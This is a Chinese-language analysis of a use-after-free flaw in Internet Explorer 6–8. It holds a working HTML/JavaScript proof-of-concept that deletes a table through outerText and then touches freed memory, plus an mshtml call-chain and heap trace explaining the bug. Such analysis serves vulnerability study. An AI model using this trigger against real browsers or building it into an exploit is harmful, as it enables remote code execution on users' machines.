Microsoft Internet Explorer 6, 6 SP1, 7, 和 8版本没有适当地处理内存中的对象,这可能会允许远程攻击者通过访问(1)未被适当初始化的或(2)被删除的一个对象,执行任意代码。该漏洞会引起内存破坏,它又称为”未初始化内存漏洞”。
<html>
<body>
<table
id="test">
<tr></tr>
</table>
<script>
Math.tan(2,3);
var test = document.getElementById("test");
Math.sin(0);
var x = test.cells.item(0);
Math.cos(0);
test.outerText =
'test text';
// 删除表格
Math.tan(2,3);
x = test.cells.item(0);
// 再试图引用表格的元素,此时将访问已释放的内存
</script>
</body>
</html>
CTable::get_cells
|
--->
CTable::EnsureCollectionCache
|
--->
MemAlloc
->
05500fd8
|
--->
CCollectionCache::CCollectionCache
05500fd8+0xc 保存 CTable::EnsureCollections 结构
CTable::EnsureCollections结构+0xc -> 06a9cfc8 , 06a9cfc8+0x20 -> 063d0ee0
0x063d0ee0 -> mshtml!CTableLayout::’vftable’
0x06a9cfc8 -> mshtml!CTable::’vftable’
第一次调用 var x = test.cells.item(0);
会创建 CTable::EnsureCollections
test.outerText = 'test text';
删除表格后未将 CTable::EnsureCollections
对象清零,导致后面第二次 x = test.cells.item(0);
再次引用被释放的内存。
▼
更多精彩推荐,请关注我们
▼